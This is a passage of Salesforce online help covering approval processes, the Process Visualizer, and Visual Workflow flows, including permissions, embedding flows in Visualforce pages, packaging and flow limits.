The jump start wizard automates creating an approval process by automatically choosing some default options for you. When you use the jump start wizard, your approval process will have the following attributes: Users must have the Modify All object-level permission for the given object, or the Modify All Data permission, to edit records that are awaiting approval in the approval process. The approval request page layout displays the record name (or number), owner, date created, and approval history. The security settings prevent an approver from accessing the approval page externally from a wireless-enabled mobile device. The owner of a record is the only person who can submit an approval request. Records are locked when submitted for approval. Records remain locked until approved or rejected. Rejected records are unlocked. Only administrators can recall a record after it is submitted for approval. There are no auto-approve or auto-reject actions. No email notification is sent upon approval or rejection. No field values are automatically updated during the approval process. An approver cannot automatically delegate another user to approve his or her approval requests. The Allow submitters to recall approval requests option is not selected.

After creating an approval process using the jump start wizard, you can change any of the above attributes by clicking Edit from any approval process list page, and you can add additional steps from the approval process detail page. However, you cannot edit the Record Lock action on the Initial Submission Actions list.

1957

Create

Processing Approval Requests

Use the Process Visualizer to display a graphical version of an approval process. The view-only diagram is presented as a flowchart. The diagram and informational sidebar can help you visualize and understand the defined steps, rule criteria, and actions that comprise your approval process.

See Also:
Using the Approval Process Jump Start Wizard Choosing an Approval Process Wizard

Processing Approval Requests


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To approve, reject, or reassign approval requests: To approve and reject approval requests via email: Permissions vary depending on the approval process settings API Enabled

Your administrator can set up an approval process that lets you submit records for approval. Depending on the approval process settings, records may need to have specific attributes before you can submit them. Also, a single record may need to go through several layers of approval. Depending on the approval process settings, you can submit, recall, reassign, approve, or reject approval requests using the Approval History related list on a record detail page. For more information; see Approval History on page 1960. You can also manage your assigned approval requests from the Items To Approve related list on the Home tab. See Items to Approve on page 1959. Note: You must have read access on a record to approve, reject, reassign, or recall an approval request for that record.

Approving and Rejecting Requests Via Email


If you are the assigned approver for an approval request, you will receive an email notification. To approve requests via email: 1. Click the link supplied in the email notification for an approval request. If there is no link in the email notification, contact your administrator. 2. Click Approve. 3. Enter any comments you want attached to the approval request. 4. When available, select the next approver. 5. Click Approve. To reject requests via email: 1. Click the link supplied in the email notification for an approval request. If there is no link in the email notification, contact your administrator.

1958

Create

Processing Approval Requests

2. Enter any comments you want attached to the approval request. 3. Click Reject. If email approval response is enabled, you can alternatively reply to the email notification by typing the word approve, reject, approved, rejected, yes or no in the first line of the email body. You can also add comments in the second line. Note: Approval request comments are limited to 4,000 characters. In Chinese, Japanese, or Korean, the limit is 1,333 characters. If the word in your response isnt recognized, you receive an error notification email. To submit another response, reply again to the original email notification. Replies to the error notification email wont be processed.

Approving and Rejecting Requests via Chatter


If your organization has Approvals in Chatter enabled, you can opt to receive approval request notifications as Chatter posts in addition to receiving them as emails. Note: Only users with access to the approval record can see the approval request post. Comments on approval posts aren't persisted to the approval record. To approve or reject approval requests in Chatter, click the Approve or Reject buttons on the post.

See Also:
Approval Process Terminology Approval Processes Overview Managing Multiple Approval Requests Process Visualizer Overview

Items to Approve
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To use the Items to Approve related list: Permissions vary depending on the approval process settings

The Items to Approve related list tracks the open approval requests assigned to you. If your administrator has created an approval process for your organization, you may see this related list on your home page. Depending on the approval process settings, you can: Click an approval request to view more details about it. To assign the approval request to another user, click Reassign next to an item.

1959

Create

Processing Approval Requests

To display the approval request detail page and approve or reject a pending approval request, click Approve / Reject next to an item. Note: You must have read access on a record to approve, reject, reassign, or recall an approval request for that record.

Click Manage All to manage all of your assigned approval requests. Next, select approval requests by checking the appropriate boxes. Optionally, check the box in the column header to select all currently displayed items. Click Reassign to assign the selected approval requests to another user, choose the user, enter any comments, and click Save. Click Approve / Reject to display the approval request detail page and click Approve or Reject to approve or reject all selected approval requests at once. Note: You must have read access on a record to approve, reject, reassign, or recall an approval request for that record.

See Also:
Processing Approval Requests Approval Process Terminology Approval Processes Overview Managing Multiple Approval Requests

Approval History
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To use the Approval History related list: Permissions vary depending on the approval process settings

The Approval History related list tracks a record through the approval process. If an approval process exists for an object, you may see this related list on a record detail page. Depending on the approval process settings, use this related list for the following: To submit a record for approval, click Submit for Approval. Salesforce begins the approval process if any approval processes apply to the record. This option is not available after the record has been submitted. Depending on the approval process, you may be prompted to select the next approver. To take a record out of the approval process, click Recall Approval Request. This is only available if the record is in an approval process. If the Allow submitters to recall approval requests option is selected for the approval process, both submitters and administrators can see the Recall Approval Request button in the Approval History related list on the detail page of submitted records; otherwise, only administrators can see it. When a user clicks Recall Approval Request, the pending approval request for the record is withdrawn and recall actions are run. For more information, see Recall Actions on page 1944.

1960

Create

Process Visualizer Overview

To assign the approval request to another user, click Reassign next to an item. To display the approval request detail page and approve or reject a pending approval request, click Approve / Reject next to an item. Note: You must have read access on a record to approve, reject, reassign, or recall an approval request for that record.

Depending on how your administrator customizes the Approval History related list, it can contain the following Status values:
Status

Definition The record has been submitted for a approval. The record has been submitted for approval and is awaiting approval or rejection. The record has been approved. The record has been rejected. The record has been submitted for approval but assigned to a different approver. The record was submitted for approval but recalled from the approval process.

Submitted Pending Approved Rejected Reassigned Recalled

Before you can submit a record for approval, it must meet the criteria for an active approval process. Contact your administrator to find out about the attributes a record must have to be included in an active approval process for your organization.

See Also:
Processing Approval Requests Approval Process Terminology Approval Processes Overview Process Visualizer Overview

Process Visualizer Overview


Available in: Enterprise, Unlimited, and Developer Editions

You can use the Process Visualizer to: Display a flowchart of each saved approval process. Improve communication about the approval process and gain buy-in from step owners. Reinforce your company's policies by documenting the decisions you reached when the approval process was designed.

1961

Create

Process Visualizer Overview

Print an annotated version of the approval process, where numbers added to the diagram correspond to details in a table, which is included in the printable view. Share approval process diagrams by saving annotated versions as PDF files (requires an Adobe PDF print driver). Help you quickly locate key details by searching multi-step or complex diagrams for matching text. Help you visualize and understand graphically: The steps necessary for a record to be approved. The designated approvers for each step. The criteria used to trigger the approval process. The specific actions to take when a record is approved, rejected, recalled, or first submitted for approval.

See Also:
Launching the Process Visualizer Understanding the Process Visualizer User Interface Understanding the Process Visualizer Notation Getting Started with Approval Processes

Launching the Process Visualizer


Available in: Enterprise, Unlimited, and Developer Editions

User Permission Needed To view approval steps: View Setup and Configuration

Before you can use the Process Visualizer, you must: Enable or download the Adobe Flash Player plugin, version 9.0.115 or later, in your browser Have at least one approval process defined in your organization

After completing the prerequisites: 1. Click Your Name > Setup > Create > Workflow & Approvals > Approval Processes. 2. Click the name of the approval process you want to view. 3. On the detail page for the approval process, click View Diagram.

1962

Create

Process Visualizer Overview

Each approval process diagram is for viewing purposes only. You cannot update an approval process from the Process Visualizer. After saving your changes to the approval process, click View Diagram to view the updates or, if the Process Visualizer window is still open, click Refresh.

See Also:
Understanding the Process Visualizer User Interface Understanding the Process Visualizer Notation Process Visualizer Overview

Understanding the Process Visualizer User Interface


Available in: Enterprise, Unlimited, and Developer Editions

User Permission Needed To view approval steps: View Setup and Configuration

This topic contains the following sections: About the Process Visualizer UI Displaying Hover Details for an Approval Process Diagram Displaying Approval Process Properties Printing Diagrams and Saving PDFs Finding Text in a Diagram on page 1966 Refreshing an Approval Process Diagram Changing an Approval Process Diagram's Zoom Level Using the Navigator

About the Process Visualizer UI The user interface for the Process Visualizer has several functional areas.

1963

Create

Process Visualizer Overview

Figure 14: Process Visualizer User Interface The highlighted numbers in the illustration correspond to the following descriptions: 1. The main area contains the approval process diagram, helping you visualize the overall flow, rules, actions, and dependencies. The diagram's orientation is top-to-bottom, left-to-right. The entry criteria for the approval process are shown at the top of the diagram. Record processing moves down the flowchart until the final approval or rejection. Each flowchart component uses a shape, an icon, or both to represent the type of processing that may happen. 2. The diagram's legend summarizes the icons. When you first use the Process Visualizer, the legend is hidden. To display the legend, click Show Legend. When you subsequently open other diagrams, the Process Visualizer remembers your last setting (shown or hidden). 3. The banner has a find box so you can find matching text within the approval diagram. Use the Previous and Next buttons to scroll through your matches. 4. Next to the diagram is an informational sidebar. The top pane in the sidebar presents the Approval Process Properties, which is collapsed by default. The Approval Process Properties pane lists information such as the name of the approval and whether it has been activated. Expand the pane by clicking the arrow icon. 5. The bottom pane of the sidebar contains the hover details, which lists information about the currently selected component on the diagram. You can hover over or click a component to view its details. 6. In the lower right of the diagram pane is a navigator window. Drag the pane within the navigator to view different parts of the diagram. 7. In the upper left of the diagram pane is a zoom slider. Use it to zoom in and out of your process diagram. 8. In the left side of the banner, use the buttons to get a printable view of the diagram, to refresh the diagram, or to hide or show the legend and navigator. Displaying Hover Details for an Approval Process Diagram When you hover over or click a flowchart component, the Process Visualizer displays information about it in the sidebar, which remains there until you hover over or click a different component. The following table lists the type of information you can see in the hover details.

1964

Create

Process Visualizer Overview

Component Type Approval steps

Hover Detail Message Formats Approval required from: User: user-name Role: role-name Or if defined for the step, one of the following values: Submitter can choose approver Automatically assigned to Manager field Unanimous approval required from: approver-1,
approver-n...

Approval based on first response from: approver-1,


approver-n... Related User: object-name Owner

The approver's delegate may also approve this request

Description: Field updates Update field-name with lookup value: lookup-value Update field-name with value: value Update field-name with formula: formula

Email alerts

Send (email-template) email to recipient-1, recipient-n... and additional recipients: cc email


field of email alert

Tasks Outbound messages

Assign task to assignee with due date: date Send to endpoint endpoint-url the following fields: field-1, field-n,...

Displaying Approval Process Properties In the sidebar, the Approval Process Properties pane lists the information shown in the following table. Click the arrow to expand or collapse it. When you subsequently open other diagrams, the Process Visualizer remembers your last setting (expanded or collapsed). Property Process Name Entry Criteria? Active? Description Record Editability Next Automated Approver Determined By Description A user-defined name of the approval process. Appears only when there are no entry criteria for the process, displaying with a No value. Indicates whether the approval process is active. The description of the approval process. Shows the defined value for this property. For example: Administrator or current approver. Shows the value for this property. For example: Manager of Owner

1965

Create

Process Visualizer Overview

Property Approval Assignment Email Template Initial Submitters Allow Submitters to Recall Approval Requests? Created By Modified By

Description The name of the template used for email alerts. For example: Leads: New assignment notification (SAMPLE) Shows the defined value for this property. For example: Record Owner Shows the defined value, Yes or No, for this property. The name of the person who created the approval process. The name of the last person to modify the approval process.

Printing Diagrams and Saving PDFs To print an annotated version of the diagram, click Printable View. In this view, the numbers on the diagram correspond to details shown in a table directly below it. Use the printed or PDF version of the diagram to communicate information about the approval process, get buy-in from the people who participate in the approval decisions, and help the approval process users understand the requirements and flow. Click Print and select a printer. If you have an Adobe PDF print driver installed, you can save the printable view as a PDF file. To return to the diagram, click Exit Printable View. Finding Text in a Diagram Use the find function in the Process Visualizer banner to find detailed information quickly. This is helpful when you view a diagram with ten or more steps, complex formulas, or the names of many people or roles on the approvers' lists. You can find matching text within the diagram and the Approval Process Properties pane, and view the results highlighted in the sidebar. The number of matches is displayed beside the Previous and Next buttons, which you can use to scroll through your matches. Find is case insensitive, and treats the search terms as a phrase in quotes. Use the find filters to limit results to a specific parameter: Approval Steps, Tasks, Email Alerts, Field Updates, and Outbound Messages. Click the arrow next to the Find field to select a filter. For example, to find all tasks for Jane Smith, click the arrow next to the Find field, select Tasks, then enter Jane Smith. Note: All is the only filter that includes Approval Process Properties, Entry Criteria, and Go Back steps in its search parameters. If you select a filter but don't enter any text, all instances of that filter item are highlighted in the diagram and navigation pane. Refreshing an Approval Process Diagram Each approval process diagram is for viewing purposes only. You cannot update an approval process from the Process Visualizer. After saving your changes to the approval process, click View Diagram to view the updates or, if the Process Visualizer window is still open, click Refresh. Changing an Approval Process Diagram's Zoom Level Use the zoom slider in the upper left to change the diagram's size. Click + to zoom in, and to zoom out, or drag the slider tab up and down the bar. This feature is especially helpful when you are viewing large, complex approval processes in the Process Visualizer. Note: The zoom feature is only visible for diagrams that exceed the dimensions of the display window.

1966

Create

Process Visualizer Overview

Using the Navigator Click and drag the pane around the navigator window to quickly view different areas of a large approval process diagram. When you use the find feature, the navigator window changes to highlight the matches, which allows you to see items not visible in the main diagram display area. The navigator also reflects changes to the size of the diagram in the main display when you use the zoom slider.

See Also:
Launching the Process Visualizer Understanding the Process Visualizer Notation Process Visualizer Overview

Understanding the Process Visualizer Notation


Available in: Enterprise, Unlimited, and Developer Editions

User Permission Needed To view approval steps: View Setup and Configuration

The Process Visualizer uses the following notation to graphically represent each approval process. The shapes are based on the Business Process Modeling Notation (BPMN) standard. In the Process Visualizer, a shape's color changes from gray to blue when you hover over or click it. Icon and Shape Examples Description Near the top of the diagram, a Start circle indicates the beginning of the approval process. If defined, an Entry Criteria diamond precedes the Start circle. When you hover over or click Entry Criteria, the Process Visualizer displays the entry criteria in the sidebar's hover details pane. For example, an approval process for a lead is triggered when Lead.AnnualRevenue >= 10000. The arrow below the Start circle leads to the next criteria in the approval process. If a recall action was defined for the entry criteria, a line to the right connects to the Final Recall Actions rectangle.

1967

Create

Process Visualizer Overview

Icon and Shape Examples

Description The rectangle labeled Initial Submission Actions represents any actions you defined in initial submission. At a minimum, this element shows the record lock set automatically by Salesforce to prevent updates by other users. Later during the approval process, after the record is approved, rejected, or recalled, the record is unlocked.

A diamond with Yes or No branches represents the numbered step's criteria or formula that is evaluated before proceeding. Hover over or click the diamond to see the criteria or formula in the sidebar's hover details. For example, the criteria could be used to determine whether the Lead.Rating = Hot. If true, the approval process continues to the next step on the Yes branch. If false, the approval process continues to the next step on the No branch.

A rectangle containing a human icon, represents an approval step. The Approved path includes a small diamond. The Rejected path uses a backslash.

A rectangle without a human icon or a plus sign represents a single action. The action types and icons are: Send an email alert: Start a task: Perform a field update: Send an outbound message: In this example, a task has been assigned. When you hover over or click the rectangle, look for more information in the sidebar's hover details.

1968

Create

Process Visualizer Overview

Icon and Shape Examples

Description A rectangle with a plus sign (+) represents multiple actions. The actions shown inside are performed simultaneously, as a unit. To expand the display and view the individual actions, click the plus sign. In the expanded display, the Process Visualizer displays the individual actions, one per rectangle.

When you hover over or click a shape on the diagram, and it is part of a step, all the elements that comprise the step use a glowing background color. This visual clue helps you locate all the decisions and actions that comprise each step, and how the processing may branch based on the record's values.

In the approval process definition, if the option was enabled to perform only the rejection actions for this step and send the approval request back to the most recent approver. (go back one step), the diagram displays a Go Back circle. When you hover over or click the Go Back circle, the hover details pane displays a message. For example:
On rejection send the request back to any one of the following steps, depending on the most recent approver: - list-of-steps. If no approvers are found, the request goes to Final Rejection.

The identified steps depend on where in the approval process the Go Back was defined. The possible steps are highlighted when you hover over the Go Back circle. In the diagram, the Process Visualizer displays the Go Back circle only for a step where its preceding step is defined as a skip.

1969

Create

Process Visualizer Overview

Icon and Shape Examples

Description The Final Approval Actions rectangle leads to a circle labeled Approved, as shown here. The Final Rejection Actions rectangle leads to a circle labeled Rejected. If a recall action was defined, the Final Recall Actions rectangle shows that the record is now unlocked, and the arrow leads to a circle labeled Recalled.

See Also:
Launching the Process Visualizer Understanding the Process Visualizer User Interface Process Visualizer Overview

1970

Force.com Flows

Visual Workflow Overview

FORCE.COM FLOWS
Visual Workflow Overview
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view a flow: To run a flow from: Flow detail page Flow URL Visualforce tab or page pointing to the flow URL Custom Web tab, link, or button pointing to the flow URL or to the URL of a Visualforce page that embeds the flow To run an inactive flow: To run a flow from within the Cloud Flow Designer: To open, edit, or create a flow in the Cloud Flow Designer: To activate, deactivate, or delete a flow, or to edit flow properties: View Setup and Configuration Run Flows OR
Force.com Flow User field enabled on the user detail page

OR Manage Force.com Flow

Manage Force.com Flow

Visual Workflow allows administrators to build applications, known as flows, that step users through screens for collecting and updating data. For example, you can use Visual Workflow to script calls for a customer support center or to generate real-time quotes for a sales organization. Visual Workflow has three different aspects: flow design, flow management, and runtime. As an administrator, you create the flows using the Cloud Flow Designer, which has a drag-and-drop user interface that lets you diagram flow structure and configure how it runs, without writing any code. Once you create a flow, you can manage it in Salesforce, edit its properties, activate, deactivate, delete, or run it at will. Flow users can then run the active flow from a custom button, tab, link, or directly from the flow URL. To get started using flows, click Your Name > Setup > Create > Workflow & Approvals > Flows. From the list page, you can: Create a new flow. Open a flow. If there is no version of the flow activated, Open launches the latest version. View details about a flow by clicking its name. Edit the name or description of a flow.

1971

Create

Putting Flows to Work

See flow status.

See Also:
Adding a Flow to a Visualforce Page Putting Flows to Work Flow Limits Visual Workflow Accessibility Overview Running Flows Managing Your Flows

Putting Flows to Work


Available in: Enterprise, Unlimited, and Developer Editions

You can share flows with users in three ways. Embed flows in a Visualforce page and incorporate that page into a Force.com app with a custom button, link, or Visualforce tab Use this method when the people wholl be using your flow are all users in your organization and you want to customize the flows look and feel. For example, this method is appropriate if youre using flows to script calls for your companys customer support center and you want to design a custom tab from which they can select a script to use. Or, if you want to customize the way leads are created in Salesforce, you can override the New button on the Leads home page and have it point to a custom Visualforce page with an embedded flow that captures only the lead information you want. Users running a flow delivered this way must have access to the Visualforce page. They must also have the Run Flows permission, or their user detail page must have the Force.com Flow User field enabled. Embed flows in a Visualforce page and incorporate that page into a Force.com site, Customer Portal, or Partner Portal Use this method when you want to share a flow with members of the public who arent standard users in your organization. For example, this method is appropriate if you want to set up a self-service tool for your public Force.com site to help visitors generate custom sales quotes. Since the flow is embedded in a Visualforce page, you can customize the appearance of the flow so it uses your companys branding and style. Site and portal users running a flow delivered this way must have access to the Visualforce page. They dont need any other permissions. Note: When making a flow available to site or portal users, be sure to point them to the URL of the Visualforce page that contains the embedded flow, not to the URL of the flow itself. Site and portal users dont have the privileges to run flows directly.

1972

Create

Putting Flows to Work

Give users access to the flow URL, either directly or through a custom button, link or web tab Use this method when the people wholl be using your flow are all users in your organization and you dont need to customize its look and feel. You can find the direct URL of a flow on its detail page at Your Name > Setup > Create > Workflow & Approvals > Flows. Include the namespace prefix in the flow URL when pointing users to a flow installed from a managed package. If the flow contains subflow elements and you want to call the latest version of each referenced flow, append ?latestSub=true to the URL. Users running flows this way must have the Run Flows permission or have Force.com Flow User enabled on their user detail page. For more information, see User Fields on page 32.

See Also:
Setting Flow Finish Behavior Managing Force.com Site Visualforce Pages Creating Web Tabs Custom Links Force.com Sites Overview Setting Up Your Customer Portal Creating Partner Portals

1973

Create

Managing Your Flows

Managing Your Flows


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view a flow: To run a flow from: Flow detail page Flow URL Visualforce tab or page pointing to the flow URL Custom Web tab, link, or button pointing to the flow URL or to the URL of a Visualforce page that embeds the flow To run an inactive flow: To run a flow from within the Cloud Flow Designer: To open, edit, or create a flow in the Cloud Flow Designer: To activate, deactivate, or delete a flow, or to edit flow properties: View Setup and Configuration Run Flows OR
Force.com Flow User field enabled on the user detail page

OR Manage Force.com Flow

Manage Force.com Flow

You can have several different versions of a single flow in Salesforce, but only one version of each flow can be active at a time. To manage a flow, go to Your Name > Setup > Create > Workflow & Approvals > Flows and click a flow name. On the flow detail page you can: View a list of all versions of the flow. By default, flow versions are sorted by Created Date. Activate a version of the flow. Note: When you activate a new version of a flow, the previously activated version (if one exists) is automatically deactivated. Flow processes currently running continue to run using the version with which they were initiated. Delete a flow or flow version. Click the Delete button to delete the flow completely, including all versions. Click the Del link in the Flow Versions list to delete inactive versions of the flow. Note: You cant delete an active flow. Once deactivated, you must wait 12 hours to delete a flow or flow version. This ensures that flows in progress have time to complete. Flows that have never been activated can be deleted immediately. Open a flow or flow version. Only users with the Manage Force.com Flow permission can open flows.

1974

Create

Managing Your Flows

Click the Open button to open the active version of the flow. If there is no version of the flow activated, Open launches the latest version. Click the Open link in the Flow Versions list to open a specific version of the flow. Note: You cant make direct changes to an active flow. If you open an active version of a flow, you can make edits, but you cant save those edits unless you save as either a new flow or new flow version.

Run a flow or flow version. Click the Run button to run the active version of the flow. If there is no active version, the Run button runs the latest version. Click the Run link next to the version name to run an individual flow version. Only users with the Manage Force.com Flow permission can run inactive flows. Note: To allow other Salesforce users to run active flows directly, create a custom Web tab, link, or button pointing to the flow URL. Include the namespace prefix in the flow URL when pointing users to a flow installed from a package. If the flow contains subflow elements and you want to call the latest version of each referenced flow, append ?latestSub=true to the URL. Users running flows this way must have the Run Flows permission or have Force.com Flow User enabled on their user detail page. For more information, see User Fields on page 32.

Edit the name or description of the flow. See the flow namespace prefix, if it was installed from a managed package. You cannot open flows that come from a managed package. See flow status. Inactive flows are valid and can be activated. Draft flows are inactive, invalid, and cant be activated. Deactivate the active version of the flow.

See Also:
Visual Workflow Overview Custom Links Creating Web Tabs Flow Limits Running Flows

1975

Create

Editing Flow Properties

Editing Flow Properties


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view a flow: View Setup and Configuration

To open, edit, or create a flow in the Cloud Flow Designer: Manage Force.com Flow To activate, deactivate, or delete a flow, or to edit flow properties:

The name and description of a flow in Salesforce make up the flow properties. The properties of a flow and its flow versions are separate. If you haven't yet edited the flow properties, and you activate a version of the flow, the name and description fields are automatically updated to reflect those of the active version. Once you edit the name and description of your flow, the fields are no longer automatically updated to match the active version. To edit the properties of a flow: 1. Click Your Name > Setup > Create > Workflow & Approvals > Flows. 2. Choose one of the following options: Click Edit next to the flow name. Click the flow name, and then click Edit. Click Open next to the flow name, and then click .

3. Edit and save the flow properties.

See Also:
Visual Workflow Overview Flow Designer Overview

1976

Create

Adding a Flow to a Visualforce Page

Adding a Flow to a Visualforce Page


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, and set version settings for Visualforce pages: Customize Application To activate, deactivate, or delete a flow, or to edit flow properties: Manage Force.com Flow

To customize a flow's look and feel or enhance its functionality you can embed it as a component in a Visualforce page. If your organization has flows enabled for sites and portals, you can then deliver the flow to your Force.com site, Customer Portal, or partner portal users. Note: Users can only run flows that have an active version. If the flow you embed doesn't have an active version, users see an error message. If the flow you embed includes a subflow element, the flow that is referenced and called by the subflow element must have an active version. To add a flow to a Visualforce page, embed it using the <flow:interview> component: 1. Find the flow's unique name: a. Go to the flow list page at Your Name > Setup > Create > Workflow & Approvals > Flows. b. Click the name of the flow you want to embed. 2. Define a new Visualforce page or open one that you want to edit. 3. Add the <flow:interview> component, somewhere between the <apex:page> tags. 4. Set the name attribute to the unique name of the flow. For example:
<apex:page> <flow:interview name="MyUniqueFlowName"/> </apex:page>

Note: If the flow is from a managed package, then the name attribute must be in this format: namespace.flowuniquename. 5. Restrict which users can run the flow by setting the page security for the Visualforce page that contains it. If the Visualforce page containing the flow is delivered externally to site or portal users, any of those users with access to the Visualforce page can run the embedded flow. If the Visualforce page containing the flow is delivered to users within your organization through a custom Web tab, link, or button, users must have access to the page. They must also have the Run Flows permission or have the Force.com Flow User field enabled on their user detail page. In addition to the other flow customizations available with Visualforce, you can also shape what happens when a user clicks Finish on the final screen. For a simple example, see Setting Flow Finish Behavior on page 1978.

1977

Create

Setting Flow Finish Behavior

For more examples of using flows in Visualforce, including how to customize the runtime user interface or make a flow interact with other components on the page, see the Visualforce Developer's Guide.

See Also:
Visual Workflow Overview Flow Limits Managing Force.com Site Visualforce Pages

Setting Flow Finish Behavior


Available in: Enterprise, Unlimited, and Developer Editions

Because flows are rendered using Visualforce, you can use the finishLocation attribute to redirect users to another screen in Salesforce when they click Finish. Note: If finishLocation isn't specified, users that click Finish are routed back to the first screen of the flow. If you use a standard controller to display a record on the same page as the flow, users that click Finish are routed back to the first screen of the flow, without the record. This is because the id query string parameter isnt preserved in the page URL. If needed, configure the finishLocation to route users back to the record. You can't redirect flow users to a URL thats external to your Salesforce organization.

Set a flow's final screen in one of these ways. Embed the flow as a component in a Visualforce page and configure finishLocation manually. Here's a simple example, using the URLFOR function. You can use URLFOR to: Route users to a relative URL, such as the Salesforce home page.
<apex:page> <flow:interview name="flowname" finishLocation="{!URLFOR('/home/home.jsp')}"/> </apex:page>

Route users to a specific record or detail page using its ID. For example, if you wanted to route users to a detail page with an ID of 001D000000IpE9X:
<apex:page> <flow:interview name="flowname" finishLocation="{!URLFOR('/001D000000IpE9X')}"/> </apex:page>

For more examples, see "Configuring the finishLocation Attribute in a Flow" in the Visualforce Developer's Guide. Note: If you deliver a flow to your users from a custom button, link, or Web tab that points to the flow URL, we recommend against using retURL in the URL path to redirect them. Using retURL can cause the destination

1978

Create

Running Flows

page you specify to be rendered with top and side navigation bars nested within the existing Salesforce top and side navigation bars. You can't redirect flow users to a URL thats external to your Salesforce organization.

See Also:
Adding a Flow to a Visualforce Page Editing Flow Properties

Running Flows
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view a flow: View Setup and Configuration

To run a flow as a user directly from the flow URL, or from Run Flows a custom Web tab, link, or button pointing to the flow URL: OR
Force.com Flow User field enabled on the user detail page

To run a flow from the flow detail page, list page, or from Manage Force.com Flow within the Cloud Flow Designer, or to run an inactive flow:

Flows are a collection of scripted screens that you can step through to collect and update data. For example, as a support representative in a call center, you can use flows to capture information as you help troubleshoot customer issues. Or as a salesperson, you can use flows to generate real-time quotes. You can even use flows to manipulate your organization's data in new ways. Depending on how flows are set up in your organization, you can run them directly from the flow URL in your browser, or from a custom Web tab, link, or button pointing to the URL. If your administrator hasn't defined custom Web tabs, links, or buttons for flows, you can find the direct flow URL by going to Your Name > Setup > Create > Workflow & Approvals > Flows and clicking on the name of the flow you want to run. Consider the following when running flows: Don't use your browser's Back or Forward buttons to navigate through a flow. This may result in inconsistent data between the flow and Salesforce. A single flow may have up to 50 different versions. When you run a flow, you see the active version, which may not necessarily be the latest version.

1979

Create

Flows in Change Sets and Packages

Flow administrators can also run flows directly from the flow detail page.

See Also:
Visual Workflow Overview Putting Flows to Work

Flows in Change Sets and Packages


Available in: Enterprise, Unlimited, and Developer Editions

Flows created in the Cloud Flow Designer can be included in both change sets and packages. The recipient organization of either the change set or package must have Visual Workflow enabled. Note: If you plan to deploy a flow using change sets or packages, youll need to account for limitations in migration support. Make sure that your flows reference only fields or entities that can be deployed. For supported entities, see the following: Components Available in Change Sets in the Salesforce online help Available Components in the ISVforce Guide

Considerations for Flows in Change Sets You can only include one version of a flow in a change set. If there is no active version available when you click Upload, the latest inactive version is used. When you view the dependent components for the change set, the Component Dependencies page lists the dependencies for all versions of the flow. Add all interdependent components for the relevant flow version to the outbound change set. An active flow in a change set will be inactive once deployed to its destination. You must manually activate it after deployment. Deploying or re-deploying a flow using change sets will always create a new version of the flow in the destination organization.

Considerations for Flows in Packages Flows can be included in both managed and unmanaged packages. You can only package active flows. The active version of the flow is determined when you click to upload a package version. The upload fails if there arent any active versions of the flow. When creating a custom button, link, or Web tab to point to a flow installed from a managed package, be sure to include the namespace in the URL. The URL format is: /flow/namespace/flowuniquename. When embedding a flow installed from a managed package in a Visualforce page, you must set the name attribute to this format: namespace.flowuniquename. If you want to update a managed package with a different flow version, activate that version and upload the package again. You dont need to add the newly-activated version to the package. However, if you activate a flow version by mistake and upload the package, youll distribute that flow version to everyone. Be sure to verify which version you really want to upload. An active flow in a package will be active once installed. The previous active version of the flow in the destination organization is deactivated in favor of the newly-installed version. Any in-progress flows based on the now-deactivated version will continue to run without interruption, but will reflect the previous version of the flow.

1980

Create

Flow Limits

If you install a package containing multiple flow versions in a fresh destination organization, only the latest flow version included in the package is deployed. Upgrading a managed package in your organization installs a new flow version only if there is a newer flow version from the developer. After several upgrades, you may end up with multiple flow versions. If you install a flow from an unmanaged package that has the same name but a different version number as a flow already in your organization, the newly-installed flow becomes the latest version of the existing flow. However, if the packaged flow has the same name and version number as a flow already in your organization, the package install will fail. You cant overwrite a flow. Referential integrity works the same for flows as it does for other packaged elements.

When working with flows in packages, consider these limitations: The Cloud Flow Designer cant open flows installed from managed packages. You cant delete a flow from an installed package. To remove a packaged flow from your organization, you must first deactivate it, wait 12 hours, then uninstall the package. In a development organization, you cant delete a flow or flow version once youve uploaded it to a released or beta managed package. You cant delete flow components from Managed - Beta package installations in development organizations. Flows cant be included in package patches. If you have multiple versions of a flow installed from multiple unmanaged packages, you cant remove only one version by uninstalling its package. Uninstalling a packagemanaged or unmanagedthat contains a single version of the flow removes the entire flow, including all versions.

See Also:
Visual Workflow Overview Overview of Packages

Flow Limits
Available in: Enterprise, Unlimited, and Developer Editions

The following limits apply to flows in Salesforce: Maximum number of versions per flow Maximum number of executed elements at runtime Maximum number of active flows per organization Maximum number of flows per organization 50 2000 500 1000

If you exceed your organization's site usage limits or Visualforce usage limits, you can't run flows.

See Also:
Visual Workflow Overview

1981

Create

Visual Workflow Accessibility Overview

Visual Workflow Accessibility Overview


Available in: Enterprise, Unlimited, and Developer Editions

Visual Workflow is 508-compliant with the following exceptions: Clicking the next or previous buttons doesn't change the title of the screen, so you may not realize you're on a new page. There are no labels on radio buttons. Screen readers can't distinguish between questions. Questions without defined prompts may not read correctly. Errors are not noted when reading the fields.

Flow Designer Overview


Watch a Demo (2:27 minutes) The Flow Designer, the tool for creating flows, lets you configure screens and define branching logic for your flows without writing any code. Elements are the building blocks of flows. Each element represents an action, such as presenting information to, or collecting information from, flow users, or even querying, creating, updating, and deleting information in Salesforce. By connecting elements together in the Flow Designer, you can create a flow, which is a series of screens, inputs, and outputs through which users navigate. For a collection of useful resources, including videos and sample flows, open the Cloud Flow Designer and click Get Started. System Requirements To use the Cloud Flow Designer, we recommend: Windows Internet Explorer versions 8 and 9, Google Chrome, or Mozilla Firefox. Internet Explorer 6 is not supported. Adobe Flash Player version 10.1 and later. The minimum version required to run the Cloud Flow Designer is 10.0. A minimum browser resolution of 1024x768.

See Also:
Flow Designer Elements Flow Designer Resources Understanding the Flow Designer User Interface

1982

Create

Understanding the Flow Designer User Interface

Understanding the Flow Designer User Interface


Available in: Enterprise, Unlimited, and Developer Editions

Visual Workflow allows administrators to build applications, known as flows, that step users through screens for collecting and updating data. For example, you can use Visual Workflow to script calls for a customer support center or to generate real-time quotes for a sales organization. The Flow Designer user interface has several functional areas.

